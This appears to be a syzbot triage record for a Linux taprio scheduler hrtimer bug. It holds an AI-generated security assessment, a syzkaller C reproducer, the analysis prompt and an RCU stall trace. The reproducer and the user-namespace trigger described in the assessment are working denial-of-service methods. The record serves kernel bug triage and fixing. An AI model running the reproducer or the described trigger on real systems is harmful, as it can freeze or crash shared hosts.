syzbot

map[DenialOfService:true Explanation:Based on the analysis of the bug report and the kernel source code, here is the
assessment of the security impact:

### Bug Mechanism
The bug is located in the `taprio` network scheduler (`net/sched/sch_taprio.c`).
The scheduler uses a high-resolution timer (`advance_timer`) to advance its
schedule. The timer callback function `advance_sched()` calculates the next
expiration time by adding the schedule entry's `interval` to the current
`end_time`, and then returns `HRTIMER_RESTART` to re-enqueue the timer.

The hrtimer subsystem processes expired timers in a loop within
`__hrtimer_run_queues()`. The current time (`basenow`) is captured once before
the loop. If a timer is restarted with an expiration time that is still less
than `basenow`, it will be picked up again in the same loop iteration.

This logic flaw allows for a Denial of Service (hard lockup / RCU stall) via two
main vectors:
1. **Clock Jump (Reproducer's method):** If the system clock is moved forward by
a large amount (e.g., using `clock_adjtime()`), `basenow` becomes much larger
than `end_time`. The loop in `__hrtimer_run_queues()` will execute `(basenow -
end_time) / interval` times. If the clock is moved forward by years, this loop
can take billions of iterations, stalling the CPU for seconds and triggering an
RCU stall. Modifying the system clock requires `CAP_SYS_TIME` in the init
namespace.
2. **Interrupt Storm (User Namespace method):** An attacker can configure
`taprio` with a very small `interval`. The minimum allowed `interval` is
calculated based on the network device's speed. For a 10 Gbps device like
`veth`, the minimum interval is 48 nanoseconds. If `interval` is set to 48 ns,
`advance_sched()` will advance `end_time` by 48 ns per iteration. Since
executing the interrupt handler takes longer than 48 ns, `end_time` will always
be in the past when the interrupt handler finishes. This causes the hardware
timer to fire immediately and continuously, resulting in an interrupt storm that
completely locks up the CPU.

### Security Dimensions
* **Exploitable:** **False**. The bug is a logic error resulting in an infinite
loop or interrupt storm. It does not cause memory corruption (like
use-after-free or out-of-bounds access) and cannot be exploited for privilege
escalation.
* **Denial Of Service:** **True**. The bug causes a hard lockup and RCU stalls,
completely freezing the affected CPU and leading to a system crash or panic.
* **Accessible From Unprivileged Processes:** **False**. Configuring network
qdiscs (like `taprio`) requires `CAP_NET_ADMIN` capabilities, which a standard
unprivileged process does not have.
* **Accessible From User Namespaces:** **True**. An unprivileged user can create
a new user namespace and network namespace. Within this sandbox, they obtain
`CAP_NET_ADMIN` over the namespace's network devices. They can then create a
`veth` pair (which defaults to 10 Gbps) and attach the `taprio` qdisc with a 48
ns interval, immediately triggering the interrupt storm and crashing the host
system.
* **VM Guest Trigger:** **True**. A user inside a VM can trigger this bug to
crash the guest kernel.
* **VM Host Trigger in The Confidential Computing Context:** **False**. This is
a bug in the network scheduler and does not involve host-guest interaction or
paravirtualized device escapes.
* **Ethernet Network Trigger:** **False**. The bug is triggered by configuring
the qdisc via netlink sockets, not by processing ingress network traffic.
* **Other Remote Trigger:** **False**.
* **Peripheral Trigger:** **False**.
* **Malicious Filesystem Trigger:** **False**. Exploitable:false FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:false UserNamespace:true VMGuestTrigger:true VMHostTrigger:false]

map[SimplifiedCRepro:// autogenerated by syzkaller (https://github.com/google/syzkaller)

#define _GNU_SOURCE 

#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

#define BITMASK(bf_off,bf_len) (((1ull << (bf_len)) - 1) << (bf_off))
#define STORE_BY_BITMASK(type,htobe,addr,val,bf_off,bf_len) *(type*)(addr) = htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off), (bf_len))) | (((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len))))

uint64_t r[3] = {0xffffffffffffffff, 0x0, 0xffffffffffffffff};

int main(void)
{
		syscall(__NR_mmap, /*addr=*/0x1ffffffff000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
	syscall(__NR_mmap, /*addr=*/0x200000000000ul, /*len=*/0x1000000ul, /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/7ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
	syscall(__NR_mmap, /*addr=*/0x200001000000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
	const char* reason;
	(void)reason;
				intptr_t res = 0;
	if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {}
//  socket arguments: [
//    domain: socket_domain = 0x11 (8 bytes)
//    type: socket_type = 0x800000003 (8 bytes)
//    proto: int32 = 0x0 (4 bytes)
//  ]
//  returns sock
	res = syscall(__NR_socket, /*domain=AF_PACKET*/0x11ul, /*type=SOCK_RAW|0x800000000*/0x800000003ul, /*proto=*/0);
	if (res != -1)
		r[0] = res;
//  ioctl$ifreq_SIOCGIFINDEX_team arguments: [
//    fd: sock (resource)
//    cmd: const = 0x8933 (4 bytes)
//    arg: ptr[out, ifreq_dev_t["team0", ifindex_team]] {
//      ifreq_dev_t["team0", ifindex_team] {
//        ifr_ifrn: buffer: {74 65 61 6d 30 00 00 00 00 00 00 00 00 00 00 00} (length 0x10)
//        elem: ifindex_team (resource)
//        pad = 0x0 (20 bytes)
//      }
//    }
//  ]
memcpy((void*)0x200000000600, "team0\000\000\000\000\000\000\000\000\000\000\000", 16);
	res = syscall(__NR_ioctl, /*fd=*/r[0], /*cmd=*/0x8933, /*arg=*/0x200000000600ul);
	if (res != -1)
r[1] = *(uint32_t*)0x200000000610;
//  socket$netlink arguments: [
//    domain: const = 0x10 (8 bytes)
//    type: const = 0x3 (8 bytes)
//    proto: netlink_proto = 0x0 (4 bytes)
//  ]
//  returns sock_netlink
	res = syscall(__NR_socket, /*domain=*/0x10ul, /*type=*/3ul, /*proto=*/0);
	if (res != -1)
		r[2] = res;
//  sendmsg$nl_route_sched arguments: [
//    fd: sock_nl_route (resource)
//    msg: ptr[in, msghdr_netlink[netlink_msg_route_sched]] {
//      msghdr_netlink[netlink_msg_route_sched] {
//        addr: nil
//        addrlen: len = 0x0 (4 bytes)
//        pad = 0x0 (4 bytes)
//        vec: ptr[in, iovec[in, netlink_msg_route_sched]] {
//          iovec[in, netlink_msg_route_sched] {
//            addr: ptr[in, netlink_msg_route_sched] {
//              union netlink_msg_route_sched {
//                newqdisc: netlink_msg_t[const[RTM_NEWQDISC, int16], tcmsg[AF_UNSPEC], rtm_tca_policy] {
//                  len: len = 0xc8 (4 bytes)
//                  type: const = 0x24 (2 bytes)
//                  flags: netlink_msg_flags = 0xf0b (2 bytes)
//                  seq: int32 = 0x0 (4 bytes)
//                  pid: int32 = 0x3 (4 bytes)
//                  payload: tcmsg[AF_UNSPEC] {
//                    family: const = 0x0 (1 bytes)
//                    tcm__pad1: const = 0x0 (1 bytes)
//                    tcm__pad2: const = 0x12 (2 bytes)
//                    ifindex: ifindex (resource)
//                    tcm_handle: tcm_handle {
//                      minor: tcm_handle_offsets = 0x0 (2 bytes)
//                      major: tcm_handle_offsets = 0x2 (2 bytes)
//                    }
//                    tcm_parent: tcm_handle {
//                      minor: tcm_handle_offsets = 0xffff (2 bytes)
//                      major: tcm_handle_offsets = 0xffff (2 bytes)
//                    }
//                    tcm_info: tcm_handle {
//                      minor: tcm_handle_offsets = 0x0 (2 bytes)
//                      major: tcm_handle_offsets = 0x0 (2 bytes)
//                    }
//                  }
//                  attrs: array[rtm_tca_policy] {
//                    union rtm_tca_policy {
//                      qdisc_kind_options: union qdisc_kind_options {
//                        q_taprio: tca_kind_options_t["taprio", array[taprio_policy]] {
//                          TCA_KIND: nlattr_t[const[TCA_KIND, int16], string["taprio"]] {
//                            nla_len: offsetof = 0xb (2 bytes)
//                            nla_type: const = 0x1 (2 bytes)
//                            payload: buffer: {74 61 70 72 69 6f 00} (length 0x7)
//                            size: buffer: {} (length 0x0)
//                            pad = 0x0 (1 bytes)
//                          }
//                          TCA_OPTIONS: nlattr_t[const[TCA_OPTIONS, int16], array[taprio_policy]] {
//                            nla_len: offsetof = 0x74 (2 bytes)
//                            nla_type: const = 0x2 (2 bytes)
//                            payload: array[taprio_policy] {
//                              union taprio_policy {
//                                TCA_TAPRIO_ATTR_PRIOMAP: nlattr_t[const[TCA_TAPRIO_ATTR_PRIOMAP, int16], tc_mqprio_qopt] {
//                                  nla_len: offsetof = 0x56 (2 bytes)
//                                  nla_type: const = 0x1 (2 bytes)
//                                  payload: tc_mqprio_qopt {
//                                    num_tc: int8 = 0x2 (1 bytes)
//                                    prio_tc_map: array[int8] {
//                                      int8 = 0x1 (1 bytes)
//                                      int8 = 0x0 (1 bytes)
//                                      int8 = 0x0 (1 bytes)
//                                      int8 = 0x0 (1 bytes)
//                                      int8 = 0x0 (1 bytes)
//                                      int8 = 0x0 (1 bytes)
//                                      int8 = 0x0 (1 bytes)
//                                      int8 = 0x0 (1 bytes)
//                                      int8 = 0x0 (1 bytes)
//                                      int8 = 0x0 (1 bytes)
//                                      int8 = 0x0 (1 bytes)
//                                      int8 = 0x0 (1 bytes)
//                                      int8 = 0x0 (1 bytes)
//                                      int8 = 0x0 (1 bytes)
//                                      int8 = 0x0 (1 bytes)
//                                      int8 = 0x0 (1 bytes)
//                                    }
//                                    hw: int8 = 0x0 (1 bytes)
//                                    count: array[int16] {
//                                      int16 = 0x8 (2 bytes)
//                                      int16 = 0x4 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0xffff (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                    }
//                                    offset: array[int16] {
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x8 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x8 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x4 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                    }
//                                  }
//                                  size: buffer: {} (length 0x0)
//                                  pad = 0x0 (2 bytes)
//                                }
//                              }
//                              union taprio_policy {
//                                TCA_TAPRIO_ATTR_SCHED_CLOCKID: nlattr_t[const[TCA_TAPRIO_ATTR_SCHED_CLOCKID, int16], int32] {
//                                  nla_len: offsetof = 0x8 (2 bytes)
//                                  nla_type: const = 0x5 (2 bytes)
//                                  payload: int32 = 0x0 (4 bytes)
//                                  size: buffer: {} (length 0x0)
//                                }
//                              }
//                              union taprio_policy {
//                                TCA_TAPRIO_ATTR_SCHED_ENTRY_LIST: nlattr_tt[const[TCA_TAPRIO_ATTR_SCHED_ENTRY_LIST, int16:14], 0, 1, array[nlnest[TCA_TAPRIO_SCHED_ENTRY, array[entry_policy$taprio]]]] {
//                                  nla_len: offsetof = 0x10 (2 bytes)
//                                  nla_type: const = 0x2 (1 bytes)
//                                  NLA_F_NET_BYTEORDER: const = 0x0 (0 bytes)
//                                  NLA_F_NESTED: const = 0x1 (1 bytes)
//                                  payload: array[nlattr_tt[const[TCA_TAPRIO_SCHED_ENTRY, int16:14], 0, 1, array[entry_policy$taprio]]] {
//                                    nlattr_tt[const[TCA_TAPRIO_SCHED_ENTRY, int16:14], 0, 1, array[entry_policy$taprio]] {
//                                      nla_len: offsetof = 0xc (2 bytes)
//                                      nla_type: const = 0x1 (1 bytes)
//                                      NLA_F_NET_BYTEORDER: const = 0x0 (0 bytes)
//                                      NLA_F_NESTED: const = 0x1 (1 bytes)
//                                      payload: array[entry_policy$taprio] {
//                                        union entry_policy$taprio {
//                                          TCA_TAPRIO_SCHED_ENTRY_INTERVAL: nlattr_t[const[TCA_TAPRIO_SCHED_ENTRY_INTERVAL, int16], int32] {
//                                            nla_len: offsetof = 0x8 (2 bytes)
//                                            nla_type: const = 0x4 (2 bytes)
//                                            payload: int32 = 0x4000001 (4 bytes)
//                                            size: buffer: {} (length 0x0)
//                                          }
//                                        }
//                                      }
//                                      size: buffer: {} (length 0x0)
//                                    }
//                                  }
//                                  size: buffer: {} (length 0x0)
//                                }
//                              }
//                            }
//                            size: buffer: {} (length 0x0)
//                          }
//                        }
//                      }
//                    }
//                    union rtm_tca_policy {
//                      TCA_STAB: nlattr_tt[const[TCA_STAB, int16:14], 0, 1, array[stab_policy]] {
//                        nla_len: offsetof = 0x24 (2 bytes)
//                        nla_type: const = 0x8 (1 bytes)
//                        NLA_F_NET_BYTEORDER: const = 0x0 (0 bytes)
//                        NLA_F_NESTED: const = 0x1 (1 bytes)
//                        payload: array[stab_policy] {
//                          stab_policy {
//                            TCA_STAB_BASE: nlattr_t[const[TCA_STAB_BASE, int16], tc_sizespec] {
//                              nla_len: offsetof = 0x1c (2 bytes)
//                              nla_type: const = 0x1 (2 bytes)
//                              payload: tc_sizespec {
//                                cell_log: int8 = 0x16 (1 bytes)
//                                size_log: int8 = 0x5 (1 bytes)
//                                cell_align: int16 = 0x1 (2 bytes)
//                                overhead: int32 = 0x5 (4 bytes)
//                                linklayer: linklayer = 0x0 (4 bytes)
//                                mpu: int32 = 0xffffffff (4 bytes)
//                                mtu: int32 = 0x7fffffff (4 bytes)
//                                tsize: len = 0x0 (4 bytes)
//                              }
//                              size: buffer: {} (length 0x0)
//                            }
//                            TCA_STAB_DATA: nlattr_t[const[TCA_STAB_DATA, int16], array[int16]] {
//                              nla_len: offsetof = 0x4 (2 bytes)
//                              nla_type: const = 0x2 (2 bytes)
//                              payload: array[int16] {
//                              }
//                              size: buffer: {} (length 0x0)
//                            }
//                          }
//                        }
//                        size: buffer: {} (length 0x0)
//                      }
//                    }
//                  }
//                }
//              }
//            }
//            len: len = 0xc8 (8 bytes)
//          }
//        }
//        vlen: const = 0x1 (8 bytes)
//        ctrl: const = 0x0 (8 bytes)
//        ctrllen: const = 0x0 (8 bytes)
//        f: send_flags = 0x4000000 (4 bytes)
//        pad = 0x0 (4 bytes)
//      }
//    }
//    f: send_flags = 0x0 (8 bytes)
//  ]
*(uint64_t*)0x2000000007c0 = 0;
*(uint32_t*)0x2000000007c8 = 0;
*(uint64_t*)0x2000000007d0 = 0x200000000780;
*(uint64_t*)0x200000000780 = 0x2000000004c0;
*(uint32_t*)0x2000000004c0 = 0xc8;
*(uint16_t*)0x2000000004c4 = 0x24;
*(uint16_t*)0x2000000004c6 = 0xf0b;
*(uint32_t*)0x2000000004c8 = 0;
*(uint32_t*)0x2000000004cc = 3;
*(uint8_t*)0x2000000004d0 = 0;
*(uint8_t*)0x2000000004d1 = 0;
*(uint16_t*)0x2000000004d2 = 0x12;
*(uint32_t*)0x2000000004d4 = r[1];
*(uint16_t*)0x2000000004d8 = 0;
*(uint16_t*)0x2000000004da = 2;
*(uint16_t*)0x2000000004dc = -1;
*(uint16_t*)0x2000000004de = -1;
*(uint16_t*)0x2000000004e0 = 0;
*(uint16_t*)0x2000000004e2 = 0;
*(uint16_t*)0x2000000004e4 = 0xb;
*(uint16_t*)0x2000000004e6 = 1;
memcpy((void*)0x2000000004e8, "taprio\000", 7);
*(uint16_t*)0x2000000004f0 = 0x74;
*(uint16_t*)0x2000000004f2 = 2;
*(uint16_t*)0x2000000004f4 = 0x56;
*(uint16_t*)0x2000000004f6 = 1;
*(uint8_t*)0x2000000004f8 = 2;
*(uint8_t*)0x2000000004f9 = 1;
*(uint8_t*)0x2000000004fa = 0;
*(uint8_t*)0x2000000004fb = 0;
*(uint8_t*)0x2000000004fc = 0;
*(uint8_t*)0x2000000004fd = 0;
*(uint8_t*)0x2000000004fe = 0;
*(uint8_t*)0x2000000004ff = 0;
*(uint8_t*)0x200000000500 = 0;
*(uint8_t*)0x200000000501 = 0;
*(uint8_t*)0x200000000502 = 0;
*(uint8_t*)0x200000000503 = 0;
*(uint8_t*)0x200000000504 = 0;
*(uint8_t*)0x200000000505 = 0;
*(uint8_t*)0x200000000506 = 0;
*(uint8_t*)0x200000000507 = 0;
*(uint8_t*)0x200000000508 = 0;
*(uint8_t*)0x200000000509 = 0;
*(uint16_t*)0x20000000050a = 8;
*(uint16_t*)0x20000000050c = 4;
*(uint16_t*)0x20000000050e = 0;
*(uint16_t*)0x200000000510 = 0;
*(uint16_t*)0x200000000512 = -1;
*(uint16_t*)0x200000000514 = 0;
*(uint16_t*)0x200000000516 = 0;
*(uint16_t*)0x200000000518 = 0;
*(uint16_t*)0x20000000051a = 0;
*(uint16_t*)0x20000000051c = 0;
*(uint16_t*)0x20000000051e = 0;
*(uint16_t*)0x200000000520 = 0;
*(uint16_t*)0x200000000522 = 0;
*(uint16_t*)0x200000000524 = 0;
*(uint16_t*)0x200000000526 = 0;
*(uint16_t*)0x200000000528 = 0;
*(uint16_t*)0x20000000052a = 0;
*(uint16_t*)0x20000000052c = 8;
*(uint16_t*)0x20000000052e = 0;
*(uint16_t*)0x200000000530 = 0;
*(uint16_t*)0x200000000532 = 0;
*(uint16_t*)0x200000000534 = 0;
*(uint16_t*)0x200000000536 = 0;
*(uint16_t*)0x200000000538 = 0;
*(uint16_t*)0x20000000053a = 0;
*(uint16_t*)0x20000000053c = 8;
*(uint16_t*)0x20000000053e = 0;
*(uint16_t*)0x200000000540 = 0;
*(uint16_t*)0x200000000542 = 0;
*(uint16_t*)0x200000000544 = 4;
*(uint16_t*)0x200000000546 = 0;
*(uint16_t*)0x200000000548 = 0;
*(uint16_t*)0x20000000054c = 8;
*(uint16_t*)0x20000000054e = 5;
*(uint32_t*)0x200000000550 = 0;
*(uint16_t*)0x200000000554 = 0x10;
STORE_BY_BITMASK(uint16_t, , 0x200000000556, 2, 0, 14);
STORE_BY_BITMASK(uint16_t, , 0x200000000557, 0, 6, 1);
STORE_BY_BITMASK(uint16_t, , 0x200000000557, 1, 7, 1);
*(uint16_t*)0x200000000558 = 0xc;
STORE_BY_BITMASK(uint16_t, , 0x20000000055a, 1, 0, 14);
STORE_BY_BITMASK(uint16_t, , 0x20000000055b, 0, 6, 1);
STORE_BY_BITMASK(uint16_t, , 0x20000000055b, 1, 7, 1);
*(uint16_t*)0x20000000055c = 8;
*(uint16_t*)0x20000000055e = 4;
*(uint32_t*)0x200000000560 = 0x4000001;
*(uint16_t*)0x200000000564 = 0x24;
STORE_BY_BITMASK(uint16_t, , 0x200000000566, 8, 0, 14);
STORE_BY_BITMASK(uint16_t, , 0x200000000567, 0, 6, 1);
STORE_BY_BITMASK(uint16_t, , 0x200000000567, 1, 7, 1);
*(uint16_t*)0x200000000568 = 0x1c;
*(uint16_t*)0x20000000056a = 1;
*(uint8_t*)0x20000000056c = 0x16;
*(uint8_t*)0x20000000056d = 5;
*(uint16_t*)0x20000000056e = 1;
*(uint32_t*)0x200000000570 = 5;
*(uint32_t*)0x200000000574 = 0;
*(uint32_t*)0x200000000578 = -1;
*(uint32_t*)0x20000000057c = 0x7fffffff;
*(uint32_t*)0x200000000580 = 0;
*(uint16_t*)0x200000000584 = 4;
*(uint16_t*)0x200000000586 = 2;
*(uint64_t*)0x200000000788 = 0xc8;
*(uint64_t*)0x2000000007d8 = 1;
*(uint64_t*)0x2000000007e0 = 0;
*(uint64_t*)0x2000000007e8 = 0;
*(uint32_t*)0x2000000007f0 = 0x4000000;
	syscall(__NR_sendmsg, /*fd=*/r[2], /*msg=*/0x2000000007c0ul, /*f=*/0ul);
//  clock_adjtime arguments: [
//    id: clock_id = 0x0 (8 bytes)
//    tx: ptr[in, timex] {
//      timex {
//        stuff0: intptr = 0xd54 (8 bytes)
//        stuff1: intptr = 0x0 (8 bytes)
//        stuff2: intptr = 0x0 (8 bytes)
//        stuff3: intptr = 0x0 (8 bytes)
//        stuff4: intptr = 0x0 (8 bytes)
//        stuff5: intptr = 0x0 (8 bytes)
//        stuff6: intptr = 0x0 (8 bytes)
//        stuff7: intptr = 0x0 (8 bytes)
//        stuff8: intptr = 0x0 (8 bytes)
//        stuff9: intptr = 0x8000002 (8 bytes)
//        stuff10: intptr = 0x0 (8 bytes)
//        stuff11: intptr = 0x0 (8 bytes)
//        stuff12: intptr = 0x0 (8 bytes)
//        stuff13: intptr = 0x0 (8 bytes)
//        stuff14: intptr = 0x0 (8 bytes)
//        stuff15: intptr = 0x0 (8 bytes)
//        stuff16: intptr = 0x0 (8 bytes)
//        stuff17: intptr = 0x0 (8 bytes)
//        stuff18: intptr = 0x0 (8 bytes)
//        stuff19: intptr = 0x0 (8 bytes)
//        stuff20: intptr = 0x0 (8 bytes)
//        stuff21: intptr = 0x0 (8 bytes)
//        stuff22: intptr = 0x0 (8 bytes)
//        stuff23: intptr = 0x0 (8 bytes)
//        stuff24: intptr = 0x0 (8 bytes)
//        stuff25: intptr = 0x0 (8 bytes)
//      }
//    }
//  ]
*(uint64_t*)0x200000000480 = 0xd54;
*(uint64_t*)0x200000000488 = 0;
*(uint64_t*)0x200000000490 = 0;
*(uint64_t*)0x200000000498 = 0;
*(uint64_t*)0x2000000004a0 = 0;
*(uint64_t*)0x2000000004a8 = 0;
*(uint64_t*)0x2000000004b0 = 0;
*(uint64_t*)0x2000000004b8 = 0;
*(uint64_t*)0x2000000004c0 = 0;
*(uint64_t*)0x2000000004c8 = 0x8000002;
*(uint64_t*)0x2000000004d0 = 0;
*(uint64_t*)0x2000000004d8 = 0;
*(uint64_t*)0x2000000004e0 = 0;
*(uint64_t*)0x2000000004e8 = 0;
*(uint64_t*)0x2000000004f0 = 0;
*(uint64_t*)0x2000000004f8 = 0;
*(uint64_t*)0x200000000500 = 0;
*(uint64_t*)0x200000000508 = 0;
*(uint64_t*)0x200000000510 = 0;
*(uint64_t*)0x200000000518 = 0;
*(uint64_t*)0x200000000520 = 0;
*(uint64_t*)0x200000000528 = 0;
*(uint64_t*)0x200000000530 = 0;
*(uint64_t*)0x200000000538 = 0;
*(uint64_t*)0x200000000540 = 0;
*(uint64_t*)0x200000000548 = 0;
	syscall(__NR_clock_adjtime, /*id=*/0ul, /*tx=*/0x200000000480ul);
	return 0;
}
]

map[KernelSrc:/app/workdir/cache/src/1b2f25251dc4dcc3bb1aac092fb5de21c32e3dd0]

map[KernelObj:/app/workdir/cache/build/dff07e8af28419d9401cccbae8039e3899dfeb29]

map[Index:codesearch-index]

gemini-3.1-pro-preview

map[DenialOfService:true Exploitable:false FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:false UserNamespace:true VMGuestTrigger:true VMHostTrigger:false]

You are an experienced Linux kernel security engineer. Your task is to analyze given kernel bug report
and determine its security impact based on the following dimensions.

Use the provided tools to examine the source code, check for capability checks (e.g., capable(), ns_capable()),
and understand the nature of the bug. Analyze the given kernel build and configuration.
You can check the kernel config by grepping ".config" file; you can check kernel cmdline by greeping
".config" file for "CONFIG_CMDLINE=". Assume sysctl parameters have default values.
But analyze for the corresponding production build w/o debugging tools enabled (like KASAN, KMSAN, UBSAN).

Try different strategies when analyzing the bug:
 - think of ways in which the vulnerable code is unreachable
 - or the other way around: try to come up with different ideas of how an unprivileged user can reach the bug
If still unsure err on the side of the bug being non-exploitable/not-accessible.
In the final reply, provide a reasoning for your assessment.

Analysis dimensions:

* Exploitable:
Determine if the bug can result in memory corruption or elevated privileges.
Memory safety issues are almost always exploitable (KASAN or UBSAN reports for use-after-free, out-of-bounds;
refcounting issues, corrupted lists, etc). When kernel is crashing on a completly wild pointer access
(e.g. user-space address, or non-canonical address, but not on NULL or address corresponding to KASAN shadow
for NULL address), including both data accesses and control tranfers, that's also usually implies possibility
of exploitation. Such reports usually say "unable to handle kernel paging request".
Uses of uninitialized values detected by KMSAN may be exploitable b/c attacker frequently can affect uninit
values with spraying techniques. However, for these exploitabability depends on how exactly the uninit value
is used in the code, and what it affects.

Think of what happens after the bug is triggered. Some bugs cause kernel panic and halt execution,
they are harder to exploit. For example, BUG reports halts the kernel. However, WARNING reports don't halt
execution in production builds. Debug bug detection tools (like KASAN, KMSAN, KCSAN, UBSAN) are also not enabled
in production builds, so attacker can freely exploit these bugs w/o being detected by these tools.
If you see an integer overflow, think how the overflowed value used later (if it's used as allocation size,
or an array index). If you see an out-of-bounds read, think if it's followed by an out-of-bounds write as well.
Some KCSAN data-races may be exploitable by skilled attackers as well. Think what data structures got corrupted
as the result of data races and how. However, note that kernel has lots of "benign" data races that don't lead
to any runtime misbehavior at all.

* Denial Of Service:
Determine if the bug can result in denial-of-service. Most bugs can, since they cause system crash,
hangs, deadlocks, or resource leaks. This is mostly applicable to WARNING bugs that won't cause system crash
in production. For these think what will be consequences of the violation of the kernel assumptions flagged
by the WARNING. In some cases the unexpected condition is also properly handled by the normal control flow
(e.g. with "if (WARN_ON(...))"), these won't cause denial-of-service. If the condition is not handled,
then it may or may not cause denial-of-service.

* Accessible From Unprivileged Processes:
Determine if the bug can be reached from a typical (non-root) user process that does NOT have any special capabilities
(like CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_NET_RAW, CAP_PERFMON) or access to device nodes restricted to root.
Assume that unprivileged_bpf_disabled=1, that is eBPF loading is not accessible. However, cBPF (classical BPF)
is still accessible to non-root processes.
Assume that user namespaces are not accessible, that is, the process cannot get the mentioned capabilities even
within a new user namespace (checked by ns_capable() function in the kernel sources).

* Accessible From User Namespaces:
Determine if the bug can be reached within a user-namespace where the process has all capabilities
(including CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_NET_RAW, CAP_PERFMON). Such capabilities are checked with ns_capable()
function in the kernel sources.

* VM Guest Trigger:
Determine if the bug can be triggered from the context of a typical KVM guest (e.g., set up by a QEMU VMM).
Consider accesses to standard Linux host paravirtualized features (virtio-blk, virtio-net, etc.),
and handling of VM exits in the KVM code.

* VM Host Trigger in The Confidetial Computing Context:
Determine if the bug can be triggered in a confidential computing guest kernel from the context of a KVM host.
Consider access to standard Linux guest paravirtualized features (virtio-blk, virtio-net, etc.).

* Ethernet Network Trigger:
Determine if the bug can be triggered by processing ingress network Ethernet traffic, either directly (network stack)
or via drivers exposed to network data.

* Other Remote Trigger:
Determine if the bug can be triggered by processing remote traffic other than Ethernet (Wifi, Bluetooth, NFC, etc).

* Peripheral Trigger:
Determine if the bug can be triggered via an untrusted peripheral device that can be physically plugged
into a system, such as a USB device or a niche hardware driver handling external hardware inputs.
This is particularly important for mobile and desktop environments where users can plug in unknown devices.

* Malicious Filesystem Trigger:
Determine if the bug can be triggered by the kernel mounting and parsing a malicious filesystem image.
This is highly critical for Desktop and Mobile environments where external media or downloaded images
might be auto-mounted.

Don't make assumptions about the kernel source code (it may be different from what you assume it is).
Extensively use the provided code access tools (codesearch-*, git-*, grepper, etc)
to examine the actual source code, and confirm any assumptions.

Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

The kernel bug report is:

sched: DL replenish lagged too much
rcu: INFO: rcu_preempt detected stalls on CPUs/tasks:
rcu: 	1-...!: (1 GPs behind) idle=3aa4/1/0x4000000000000000 softirq=15601/15602 fqs=59
rcu: 	(detected by 0, t=10505 jiffies, g=10297, q=397 ncpus=2)
Sending NMI from CPU 0 to CPUs 1:
NMI backtrace for cpu 1
CPU: 1 UID: 0 PID: 6042 Comm: sed Not tainted syzkaller #0 PREEMPT(full) 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 08/18/2025
RIP: 0010:__lock_acquire+0x870/0xd20 kernel/locking/lockdep.c:5232
Code: f0 41 89 cf 41 c1 c7 13 29 ce 41 31 f7 01 c1 44 29 f8 44 01 f9 41 c1 c7 04 41 31 c7 49 c1 e7 20 49 09 cf 83 3d e4 f0 26 0e 00 <0f> 85 36 02 00 00 48 83 7c 24 28 00 0f 84 bc 01 00 00 41 8b 46 f8
RSP: 0018:ffffc90000a08b70 EFLAGS: 00000046
RAX: 00000000d6871fb1 RBX: 0000000000000003 RCX: 0000000079909773
RDX: 00000000001caf3d RSI: 00000000afae91f8 RDI: ffff88802c3c3c80
RBP: 0000000000000001 R08: 0000000000000000 R09: ffffffff81adbfa2
R10: dffffc0000000000 R11: fffffbfff1f88787 R12: 0000000000000073
R13: ffff88802c3c47b0 R14: ffff88802c3c4828 R15: 4346289379909773
FS:  0000000000000000(0000) GS:ffff888125ae0000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007fc34ea224e8 CR3: 00000000720e8000 CR4: 00000000003526f0
Call Trace:
 <IRQ>
 lock_acquire+0x120/0x360 kernel/locking/lockdep.c:5868
 __raw_spin_lock_irq include/linux/spinlock_api_smp.h:119 [inline]
 _raw_spin_lock_irq+0xa2/0xf0 kernel/locking/spinlock.c:170
 __run_hrtimer kernel/time/hrtimer.c:1781 [inline]
 __hrtimer_run_queues+0x602/0xc60 kernel/time/hrtimer.c:1841
 hrtimer_interrupt+0x45b/0xaa0 kernel/time/hrtimer.c:1903
 local_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1041 [inline]
 __sysvec_apic_timer_interrupt+0x10b/0x410 arch/x86/kernel/apic/apic.c:1058
